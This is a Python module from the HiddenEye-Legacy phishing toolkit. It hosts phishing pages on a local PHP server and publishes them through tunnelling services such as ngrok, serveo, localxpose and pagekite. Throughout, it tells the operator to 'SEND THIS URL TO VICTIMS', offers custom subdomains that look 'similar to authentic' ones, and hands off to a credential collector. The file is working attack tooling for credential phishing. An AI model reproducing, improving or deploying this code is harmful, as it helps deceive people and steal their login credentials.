HiddenEye-Legacy/Defs/ActionManager/Server/server_runner.py

377 lines
22 KiB
Python
Raw Normal View History

2020-05-08 21:40:35 +08:00
from Defs.ImportManager.unsorted_will_be_replaced import run_command, run_background_command, wait, ngrok, requests, regular_expression, check_output, CalledProcessError, chdir, chmod, DEVNULL, PIPE
2020-05-08 02:09:20 +08:00
import Defs.ThemeManager.theme as theme
import Defs.ActionManager.Server.server_menu as server_menu
import Defs.ActionManager.simple_informant as simple_informant
2020-05-08 16:41:41 +08:00
#import os #DELETEIT
2020-05-08 02:09:20 +08:00
default_palette = theme.default_palette
enter_server_www = chdir("Server/www")
exit_server_www = chdir("../..")
def set_php(host = '127.0.0.1', port = 80):
run_command(['killall','-2','php'], stdout=DEVNULL, stderr=DEVNULL)
2020-05-08 16:44:32 +08:00
run_background_command(["php", "-S", "{0}:{1}".format(host, port), "-t", "Server/www"], stdout=DEVNULL, stderr=DEVNULL)
2020-05-08 02:09:20 +08:00
def set_port(port = 80):
run_background_command(["fuser", "-k", "{0}/tcp".format(port)], stdout=DEVNULL, stderr=DEVNULL)
def start_server(port = 80):
#run_command(["fuser", "-k", "{0}/tcp".format(port), ">", "/dev/null", "2>&1"**/])
set_port(port)
#enter_server_www
2020-05-08 02:09:20 +08:00
#run_command(["php", "-S", "127.0.0.1:{0}".format(port), ">", "/dev/null", "2>&1", "&"])
set_php(port=port)
#exit_server_www
2020-05-08 02:09:20 +08:00
def start_localhost(port):
run_command('clear')
print('''
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALHOST SERVER ]{1}!! {0}\n-------------------------------'''.format(default_palette[0], default_palette[2]))
2020-05-08 21:41:14 +08:00
#print("\n {0}[{1}*{0}]{0}Enter Your LocalHost/Router Address [ifconfig]:{1}".format(default_palette[0], default_palette[4]))
#host = input(" \n{0}HiddenEye >>> {1}".format(default_palette[0], default_palette[2]))
host = simple_informant.get_ip_addr
print("Your Localhost is {0}".format(host))
2020-05-08 02:09:20 +08:00
set_port
#run_command("cd Server/www/
# && php -S {0}:{1} > /dev/null 2>&1 &".format(host, port))
enter_server_www
set_php(host, port)
print('\n[*] Starting Server On Address:: {0}:{1}'.format(host, port))
wait(2)
run_command('clear')
print('''
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ RUNNING LOCALHOST SERVER ]{1}!! {0}\n-------------------------------'''.format(default_palette[0], default_palette[2]))
print("\n{0}[{1}!{0}]{1} SEND THIS URL TO THE VICTIMS ON SAME NETWORK-\n{0}[{1}*{0}]{1} Localhost URL: {2}http://{4}:{3}\n".format(default_palette[0], default_palette[2], default_palette[3], port, host))
print("\n")
def start_ngrok(port):
run_command(['killall','-2','ngrok'], stdout=DEVNULL, stderr=DEVNULL)
run_command('clear')
print('''
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ NGROK SERVER ]{1}!! {0}\n-------------------------------'''.format(default_palette[0], default_palette[2]))
#run_command(['./Server/ngrok http {0}'.format(port)], stdout=DEVNULL, stderr=DEVNULL)
##chmod('Server', 0o777)
##run_command(['Server/ngrok', 'http {0}'.format(port)],stdout=DEVNULL, stderr=DEVNULL)
ngrok.connect(port)
#currentDirectory = os.getcwd() #DELETE
#print(currentDirectory) #DELETE
2020-05-08 02:09:20 +08:00
while True:
wait(2)
#urlFile = open('link.url', 'w')
#run_command(['curl', '-s', '-N', 'http://127.0.0.1:4040/api/tunnels', '|', 'grep', 'https://[0-9a-z]*\.ngrok.io', '-oh'], stdout=urlFile) #To Be Replaced
#urlFile = open('link.url', 'r')
#url = urlFile.read()
ngrok_tunnels = ngrok.get_tunnels()
url = ngrok_tunnels[0].public_url
#urlFile.close()
2020-05-08 02:09:20 +08:00
if regular_expression.match("https://[0-9a-z]*\.ngrok.io", url) != None:
print("\n{0}[{1}!{0}]{1} SEND THIS NGROK URL TO VICTIMS-\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} NGROK URL: {2}".format(
default_palette[0], default_palette[2], default_palette[3], port) + url + "{0}".format(default_palette[4]))
print("\n")
break
def start_serveo(port):
def is_online():
serveo = requests.get("http://serveo.net")
if "temporarily disabled" in serveo.text:
return False
else:
return True
2020-05-08 02:09:20 +08:00
def random(port):
run_command('clear')
print('''
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ RANDOM SERVEO URL ]{1}!! {0}\n-------------------------------'''.format(default_palette[0], default_palette[2]))
run_command('ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -R 80:localhost:%s serveo.net > link.url 2> /dev/null &' % (port))
wait(8)
try:
output = check_output("grep -o '.\{0,0\}http.\{0,100\}' link.url", shell=True)
url = output.decode("utf-8")
print("\n{0}[{1}!{0}]{1} SEND THIS SERVEO URL TO VICTIMS-\n\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} SERVEO URL: {2}".format(default_palette[0], default_palette[4], default_palette[3], port) + url + "{0}".format(default_palette[4]))
print("\n")
except CalledProcessError:
wait(4)
run_command('clear')
return random(port)
def custom(port):
print('''
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ CREATE A CUSTOM URL HERE ]{1}!! {0}\n-------------------------------\n\n{0}[{1}!{0}]{1} YOU CAN MAKE YOUR URL SIMILAR TO AUTHENTIC URL.\n\n{0}Insert a custom subdomain for serveo'''.format(default_palette[0], default_palette[2]))
lnk = input("\n{0}CUSTOM Subdomain>>> {1}".format(default_palette[0], default_palette[2]))
if not ".serveo.net" in lnk:
lnk += ".serveo.net"
else:
pass
run_command('ssh -o StrictHostKeyChecking=no -o ServerAliveInterval=60 -o ServerAliveCountMax=60 -R %s:80:localhost:%s serveo.net > link.url 2> /dev/null &' % (lnk, port))
wait(7)
try:
output = check_output(
"grep -o '.\{0,0\}http.\{0,100\}' link.url", shell=True)
url = output.decode("utf-8")
run_command('clear')
print('''
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ CUSTOM SERVEO URL ]{1}!! {0}\n-------------------------------'''.format(default_palette[0], default_palette[2]))
print("\n{0}[{1}!{0}]{1} SEND THIS SERVEO URL TO VICTIMS-\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} SERVEO URL: {2}".format(default_palette[0], default_palette[2], default_palette[3], port) + url + "{0}".format(default_palette[4]))
print("\n")
except CalledProcessError:
print('''\n\n{0}FAILED TO GET THIS DOMAIN. !!!\n\n{0}LOOKS LIKE CUSTOM URL IS NOT VALID or ALREADY OCCUPIED BY SOMEONE ELSE. !!!\n\n{0}[{1}!{0}]TRY TO SELECT ANOTHER CUSTOM DOMAIN{1} (GOING BACK).. !! \n'''.format(default_palette[0], default_palette[4]))
wait(4)
run_command('clear')
return custom(port)
if is_online == True:
print('''
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ SERVEO URL TYPE SELECTION ]{1}!! {0}\n-------------------------------\n{0}[{1}!{0}]{1}REMEMBER ? Serveo Don't Allows Phishing.\n{0}[{1}!{0}]{1}They Drops The Connection Whenever Detects Phishing. '''.format(default_palette[0], default_palette[2]))
print("\n{0}[{1}*{0}]{0}CHOOSE ANY SERVEO URL TYPE TO GENERATE PHISHING LINK:{1}".format(default_palette[0], default_palette[2]))
print("\n{0}[{1}1{0}]{1}Custom URL {0}(Generates designed url) \n{0}[{1}2{0}]{1}Random URL {0}(Generates Random url)".format(default_palette[0], default_palette[2]))
choice = input("\n\n{0}YOUR CHOICE >>> {1}".format(default_palette[0], default_palette[2]))
run_command('clear')
if choice == '1':
2020-05-08 02:09:20 +08:00
custom(port)
elif choice == '2':
random(port)
else:
run_command('clear')
return start_serveo(port)
2020-05-08 02:09:20 +08:00
else:
print("Serveo is DOWN now, do you want to select another option? Y/n")
choice = input("HiddenEye >> ")
if choice == 'Y' or choice == 'y':
return server_menu.server_selection(port)
else:
return start_serveo(port)
2020-05-08 02:09:20 +08:00
def start_localxpose(port):
def random(port):
run_command('clear')
print('''
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ RANDOM LOCALXPOSE URL ]{1}!! {0}\n-------------------------------'''.format(default_palette[1], default_palette[2]))
2020-05-08 21:55:16 +08:00
#run_command('./Server/loclx tunnel http --to :%s > link.url 2> /dev/null &' % (port))
run_command(['Server/loclx', 'tunnel', 'http', '--to', ':{0}'.format(port), '>', 'link.url'], stdout=DEVNULL, stderr=DEVNULL)
2020-05-08 02:09:20 +08:00
wait(8)
try:
output = check_output(
"grep -o '.\{0,0\}https.\{0,100\}' link.url", shell=True)
url = output.decode('utf-8')
print("\n{0}[{1}!{0}]{1} SEND THIS LOCALXPOSE URL TO VICTIMS-\n\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} LOCALXPOSE URL: {2}{4}{1}".format(default_palette[0], default_palette[4], default_palette[3], port, url) + "{0}".format(default_palette[4]))
print("\n")
except CalledProcessError:
wait(4)
run_command('clear')
return random(port)
def custom(port):
print('''
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ CREATE A CUSTOM URL HERE ]{1}!! {0}\n-------------------------------\n\n{0}[{1}!{0}]{1} YOU CAN MAKE YOUR URL SIMILAR TO AUTHENTIC URL.\n\n{0}Insert a custom subdomain for Localxpose(Ex: mysubdomain)'''.format(default_palette[0], default_palette[2]))
lnk = input("\n{0}CUSTOM Subdomain>>> {1}".format(default_palette[0], default_palette[2]))
run_command('./Server/loclx tunnel http --to :%s --subdomain %s > link.url 2> /dev/null &' % (port, lnk))
wait(7)
try:
output = check_output("grep -o '.\{0,0\}https.\{0,100\}' link.url", shell=True)
url = output.decode("utf-8")
run_command('clear')
print('''
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ CUSTOM SERVEO URL ]{1}!! {0}\n-------------------------------'''.format(default_palette[0], default_palette[2]))
print("\n{0}[{1}!{0}]{1} SEND THIS LOCALXPOSE URL TO VICTIMS-\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} LOCALXPOSE URL: {2}".format(default_palette[0], default_palette[2], default_palette[3], port) + url + "{0}".format(default_palette[4]))
print("\n")
except CalledProcessError:
print('''\n\n{0}FAILED TO GET THIS DOMAIN. !!!\n\n{0}LOOKS LIKE CUSTOM URL IS NOT VALID or ALREADY OCCUPIED BY SOMEONE ELSE. !!!\n\n{0}[{1}!{0}]TRY TO SELECT ANOTHER CUSTOM DOMAIN{1} (GOING BACK).. !! \n'''.format(default_palette[0], default_palette[4]))
wait(4)
run_command('clear')
return custom(port)
print('''
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALXPOSE URL TYPE SELECTION ]{1}!! {0}\n-------------------------------\n'''.format(default_palette[0], default_palette[2]))
print("\n{0}[{1}*{0}]{0}CHOOSE ANY LOCALXPOSE URL TYPE TO GENERATE PHISHING LINK:{1}".format(default_palette[0], default_palette[2]))
print("\n{0}[{1}1{0}]{1}Custom URL {0}(Generates designed url) \n{0}[{1}2{0}]{1}Random URL {0}(Generates Random url)".format(default_palette[0], default_palette[2]))
choice = input("\n\n{0}YOUR CHOICE >>> {1}".format(default_palette[0], default_palette[2]))
run_command('clear')
if choice == '1':
custom(port)
elif choice == '2':
random(port)
else:
run_command('clear')
return start_localxpose(port)
def start_localtunnel(port, npm):
run_command('clear')
print('''
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALTUNNEL URL ]{1}!! {0}\n-------------------------------'''.format(default_palette[0], default_palette[2]))
print(
"\n{0}[{1}*{0}]{0}SELECT ANY URL TYPE TO GENERATE PHISHING LINK:{1}".format(default_palette[0], default_palette[2]))
print("\n{0}[{1}+{0}]{1}Type Subdomain for Custom URL. \n{0}[{1}+{0}]{1}Leave Empty For Random URL".format(default_palette[0], default_palette[2]))
s = input('\n{0}(Localtunnel/Subdomain)> {1}'.format(default_palette[0], default_palette[2]))
try:
run_command('{0}lt -p '.format('' if npm else 'Server/') +
port+((' -s '+s) if s != '' else s)+' > link.url &')
wait(3)
run_command('clear')
print('''
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALTUNNEL URL ]{1}!! {0}\n-------------------------------'''.format(default_palette[0], default_palette[2]))
print("\n{0}[{1}!{0}]{1} SEND THIS SERVEO URL TO VICTIMS-\n\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} LOCALTUNNEL URL: {2}{4}".format(default_palette[0], default_palette[2], default_palette[3], port, str(check_output("grep -o '.\{0,0\}https.\{0,100\}' link.url", shell=True)).strip("b ' \ n r")))
except CalledProcessError:
run_command('clear')
print('''
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ LOCALTUNNEL URL ]{1}!! {0}\n-------------------------------'''.format(default_palette[0], default_palette[2]))
print('{0}error[invalid/preoccupied]{0}'.format(default_palette[0]))
start_localtunnel(port, npm)
def start_openport(port):
run_command('clear')
def manage_url(port):
run_command('rm output.txt > /dev/null 2>&1')
run_command('openport -K && openport %s > output.txt &' % (port))
print('{0}[{1}*{0}] {1}Openport Server Running in Background.. Please wait.'.format(default_palette[0], default_palette[4]))
wait(20) # Sleep time is important as the openport command takes some time to give response link.
run_command('cat output.txt | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*" | sort -u | grep -v https://openport.io/user > openport.txt') # Taking out the neccesary verification link from output txt file of openport (above).
print('{0}[{1}*{0}] {1}Working To Get OpenPort Tunnel Activation Link...'.format(default_palette[0], default_palette[4]))
with open('openport.txt') as f:
read_data = f.read()
if 'openport.io/l/' in read_data:
print('{0}[{1}*{0}] {1}Got Activation Link...'.format(default_palette[0], default_palette[4]))
pass
else:
print('{0}[{1}^{0}] {1}Failed To Get Openport Activation Link... '.format(default_palette[0], default_palette[4]))
output = open('output.txt', 'r')
output = output.read()
print('{0}[{1}!{0}] {1}Openport Error:\n\n{2}'.format(default_palette[0], default_palette[4], output))
input('\n\n{0}[{1}*{0}] {1}Try Other Tunnels... (Press Enter)'.format(default_palette[0], default_palette[4]))
server_menu.server_selection(port)
urlFile = open('openport.txt', 'r')
urltoverify = urlFile.read().strip()
print('{0}[{1}*{0}] {1}Open This Activation Link From Browser to Get Tunnel Link...\n'.format(default_palette[0], default_palette[4]))
print('{0}[{1}*{0}] {1}Tunnel Activation Link:{0}{2} '.format(default_palette[0], default_palette[4], urltoverify))
url = input('\n\n{0}[{1}*{0}] {1}Enter The Tunnel Link Found in Browser: {0} '.format(default_palette[0], default_palette[4]))
wait(4)
run_command('clear')
print('''
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ OPENPORT SERVER ]{1}!! {0}\n-------------------------------'''.format(default_palette[0], default_palette[4]))
print("\n{0}[{1}!{0}]{1} SEND THIS OPENPORT URL TO VICTIMS-\n{0}[{1}*{0}]{1} Localhost URL: {2}http://127.0.0.1:{3}\n{0}[{1}*{0}]{1} OPENPORT URL: {2}{4}\n".format(default_palette[0], default_palette[4], default_palette[3], port, url))
print('''{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ OPENPORT SERVER ]{1}!! {0}\n-------------------------------'''.format(default_palette[0], default_palette[2]))
if 256 == run_command('which openport > /dev/null'):
run_command('clear')
print('[*] Openport not Installed correctly, Try installing it manually !!')
print('[*] Check Here ... https://openport.io/download')
input('\n Press Enter To Go back..')
server_menu.server_selection(port)
else:
manage_url(port)
def start_pagekite(port):
run_command('clear')
print('''
{1}_ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1}
|__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1}
| | | ]__| ]__| |__ | \| {0}|__ || |__{1}
{0}http://github.com/darksecdevelopers
{0}** BY:DARKSEC ** \n\n-------------------------------\n{0}[ PAGEKITE SERVER ]{1}!! {0}\n-------------------------------'''.format(default_palette[0], default_palette[2]))
if 256 == run_command('which python2 > /dev/null'):
print('[*] Python2 not Installed, Pagekite Only Supports Python2!!')
input('\n Press Enter To Try installing Python2 Now..')
run_command('apt install python2')
if 256 == run_command('which python2 > /dev/null'):
run_command('clear')
print("\n{0}[{1}*{0}] {1}FAILED TO INSTALL PYTHON2 (TRY MANUALLY)..{1}".format(default_palette[0], default_palette[4]))
wait(2)
server_menu.server_selection(port)
else:
pass
else:
try:
subdomain = input("\n{0}[{1}*{0}] {0}Enter A Custom Subdomain Ex.(yourname):\n{0}Custom Subdomain>>> {1}".format(default_palette[0], default_palette[2]))
print("\n{0}[{1}*{0}] {1}Use Temporary Email Services(Don't Harm Anyone).{1}".format(default_palette[0], default_palette[4]))
print("{0}[{1}*{0}] {1}Sometime Email verification Required by Pagekite(Stay Alert){1}".format(default_palette[0], default_palette[4]))
print("{0}[{1}*{0}] {1}You can also get various subdomain assigned to your subdomain.{1}".format(default_palette[0], default_palette[4]))
print("{0}[{1}*{0}] {1}Check Control Panel Of pagekite at https://pagekite.net/ .{1}".format(default_palette[0], default_palette[4]))
print("{0}[{1}*{0}] {1}We are Ready to Launch Pagekite.Press CTRL+C Whenever Need captured Data.{1}".format(default_palette[0], default_palette[4]))
input("\n{0}[{1}*{0}] {0}Press Enter To Launch The Pagekite...{1}".format(default_palette[0], default_palette[4]))
run_command('python2 Server/pagekite.py --clean --signup {0} {1}.pagekite.me'.format(port, subdomain))
except KeyboardInterrupt:
print('[!] Please Copy the Generated Link For Further Use')
simple_informant.credentials_collector(port)